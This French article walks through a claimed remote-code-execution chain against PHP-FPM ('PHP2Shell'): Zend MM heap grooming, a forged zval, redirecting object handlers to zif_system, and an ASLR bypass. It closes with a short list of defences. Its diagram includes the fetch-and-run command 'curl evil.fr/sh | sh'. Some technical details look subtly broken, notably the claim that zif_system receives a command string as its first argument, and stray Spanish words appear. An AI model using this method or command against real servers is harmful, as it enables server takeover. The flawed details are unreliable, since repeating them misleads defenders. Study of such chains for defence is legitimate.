Du Pointeur Pendant à system() : Manipulation du Tas Zend MM, Faux zval et Chaîne d'Exploitation RCE
Du Pointeur Pendant à system() : Manipulation du Tas Zend MM, Faux zval et Chaîne d'Exploitation RCE
<time datetime="2026-10-23">Vérifié le: 23 octobre 2026</time> · Analyse d'Architecture : Zend Engine 4.x / ZMM (Zend Memory Manager)
La dangerosité sans précédent de PHP2Shell (CVE-2026-109618 et CVE-2026-109619) ne provient pas uniquement de la présence d'une anomalie de mémoire théorique, mais de l'existence d'une chaîne d'armement offensive d'une précision chirurgicale, capable d'atteindre une exécution de commandes système à distance (RCE) sans nécessiter de fuite préalable d'adresses mémoire (Info-Leak) sous Linux x86_64 avec ASLR actif.
Dans cette étude d'ingénierie offensive et défensive, nous explorons les fondements de cette exploitation : le conditionnement du tas (Heap Grooming) dans l'allocateur de PHP, l'anatomie d'une structure zval falsifiée de 16 octets et le détournement final de la table de pointeurs de fonction vers l'instruction interne zif_system().
1. Principes de Fonctionnement du Zend Memory Manager (ZMM)
Pour comprendre comment la mémoire est manipulée, il est indispensable d'examiner l'architecture de gestion de mémoire propre à PHP. Afin de s'affranchir de la latence liée aux appels fréquents à malloc() et free() de la bibliothèque glibc, PHP intègre son propre gestionnaire d'allocations : le Zend Memory Manager (ZMM).
Le gestionnaire ZMM repose sur deux niveaux d'abstraction :
- Chunks (Segments de 2 Mo) : Alloués directement auprès du noyau Linux via des appels système
mmap(). Chaque Chunk est subdivisé en pages de 4 Ko. - Bins (Catégories de Taille Fixe) : Pour les allocations comprises entre 8 et 3072 octets, ZMM maintient 30 compartiments de taille calibrée (Bin 8, Bin 16, Bin 32 ... Bin 256, Bin 512).
La Règle LIFO des Listes Libres
Lorsqu'une variable est détruite à l'aide de efree(), ZMM ne restitue pas la mémoire au système d'exploitation. Le bloc libéré est placé en tête de la liste libre (free_slot) du Bin correspondant selon une discipline LIFO (Last-In, First-Out: Dernier entré, premier sorti).
Par conséquent, toute allocation subséquente de dimension équivalente via emalloc() récupérera immédiatement et avec certitude le même bloc physique tout juste libéré. C'est cette invariance temporelle qui rend le conditionnement du tas déterministe dans PHP2Shell.
2. Technique de Heap Grooming (Conditionnement du Tas)
Le Heap Grooming consiste pour l'attaquant à organiser l'espace mémoire du processus afin d'éliminer les imprévus d'allocation et d'assurer que les données forgées se superposent exactement à la position attendue par le pointeur résiduel.
L'attaquant réalise cette préparation au sein d'une unique requête HTTP multipart :
[ Étape 1 : Drainage des Blocs Libres ]
L'attaquant transmet une série de paramètres de formulaire factices.
Cette opération consomme les cases libres éparses de ZMM et réinitialise
l'allocateur dans un état propre et linéaire.
[ Étape 2 : Positionnement du Búfer Cible ]
L'analyseur alloue le tampon de `cached_post_bytes` dans un Bin précis
(généralement le Bin de 256 ou 512 octets).
[ Étape 3 : Déclenchement de l'Interruption de Flux ]
En provoquant une interruption calculée, la macro `zend_bailout()` libère
le bloc dans la liste libre, mais la variable globale `PS(cached_post_bytes)`
conserve le pointeur actif.
[ Étape 4 : Réclamation Immédiate par Injection ]
Le fragment suivant de la requête injecte une chaîne forgée qui s'insère
exactement dans la même classe de Bin. ZMM lui assigne le bloc libéré.
3. Forgeage de la Structure zval Falsifiée de 16 Octets
Depuis la refonte majeure introduite avec PHP 7, la structure centrale représentant toute variable en PHP, le zval, a été compactée pour occuper rigoureusement 16 octets sur les architectures 64 bits :
/* Définition officielle dans Zend/zend_types.h */
struct _zval_struct {
zend_value value; /* 8 octets : Pointeur ou valeur scalaire */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* 1 octet : Type de variable (ex: IS_OBJECT) */
zend_uchar type_flags, /* 1 octet : Drapeaux de référence */
union {
uint16_t extra; /* 2 octets : Informations auxiliaires */
} u;
)
} v;
uint32_t type_info; /* 4 octets : Vue unifiée du type */
} u1;
union {
uint32_t next; /* 4 octets : Chaînage de table de hachage */
uint32_t cache_slot; /* Emplacement de cache de littéral */
uint32_t lineno; /* Numéro de ligne de code */
} u2;
};
L'attaquant n'a pas besoin de corrompre de gigantesques pans de mémoire. Il lui suffit d'aligner 16 octets stratégiques à l'emplacement précis où le pointeur pendant cached_post_bytes attend une variable légitime :
┌───────────────────────────────────────────────┬────────────┬────────────┬─────────────┐
│ Champ value.obj (8 octets) │ type (1 O) │ flags (1O) │ extra (2 O) │
│ Adresse de l'objet forgé `zend_object` │ IS_OBJECT │ 0x00 │ 0x0000 │
├───────────────────────────────────────────────┴────────────┴────────────┴─────────────┤
│ Champ u2 (4 octets) : 0x00000000 (Alignement de mot mémoire) │
└───────────────────────────────────────────────────────────────────────────────────────┘
En configurant le champ type sur la valeur numérique IS_OBJECT (type 8), le moteur Zend traite ce bloc comme une instance d'objet dotée d'une table de méthodes et de gestionnaires d'appels (zend_object_handlers).
4. Détournement du Flux d'Exécution vers zif_system()
Dès que le moteur Zend interprète la zone mémoire comme un objet valide, il interroge sa table de fonctions internes (zend_object_handlers). Dans le fonctionnement normal de PHP, cette table recense les fonctions en C chargées de lire les propriétés ou d'exécuter les méthodes magiques :
[ zval Falsifié Inyecté ]
│
▼
[ Structure zend_object Simulée ]
├── handlers ───> [ Table zend_object_handlers Falsifiée ]
│ ├── read_property : NULL
│ └── call_method ───> 【 zif_system 】
│
└── properties ──> [ Commande shell : "curl evil.fr/sh | sh" ]
Dans les binaires PHP compilés, la fonction sous-jacente implémentant la commande system() des scripts s'intitule zif_system.
Lorsque la requête se termine et que le moteur invoque le destructeur de l'objet ou tente de sérialiser les données de session, le processeur déréférence le pointeur call_method falsifié. Le pointeur d'instruction $rip saute directement à l'adresse de zif_system, en recevant en premier paramètre la chaîne de commande préparée dans le tas, provoquant l'exécution de la commande shell avec les droits de www-data.
5. Contournement d'ASLR par le Modèle fork() de PHP-FPM
La question clé soulevée par les spécialistes en sécurité est : Comment l'attaquant connaît-il l'adresse mémoire de zif_system en présence d'ASLR ?
La réponse réside dans la topologie des processus de PHP-FPM :
Le processus maître de PHP-FPM démarre au boot de la machine sous les privilèges root. Les processus travailleurs qui répondent aux requêtes HTTP sont créés via l'appel système fork().
Sous Linux, un processus enfant issu de fork() hérite rigoureusement du même espace d'adressage virtuel et des mêmes adresses de base que le processus parent. Si un travailleur plante à la suite d'un essai d'offset erroné, le processus maître engendre instantanément un nouveau travailleur disposant de la même carte mémoire. Cela rend possible l'utilisation d'adresses statiques issues des distributions répandues (Ubuntu, Debian, Red Hat) sans blocage par l'ASLR.
6. Verrous Défensifs Structurels
Pour briser définitivement cette chaîne :
- Désactivation à la source :
session.upload_progress.enabled = Offdansphp.iniempêche la création du pointeur pendant. - Durcissement au niveau du noyau : L'utilisation de filtres Seccomp-BPF sur le service PHP-FPM pour interdire l'appel système
execverend impossible le lancement d'un shell, même en cas de détournement réussi de l'instruction$rip. - Isolation de la Mémoire de Tas : L'activation d'options de compilation renforcées telles que
Hardened Mallocou l'activation deglibc.malloc.perturb=1permet de saturer immédiatement les zones mémoire désallouées avec des motifs aléatoires, empêchant l'attaquant de réclamer un bloc propre lors des phases de conditionnement du tas.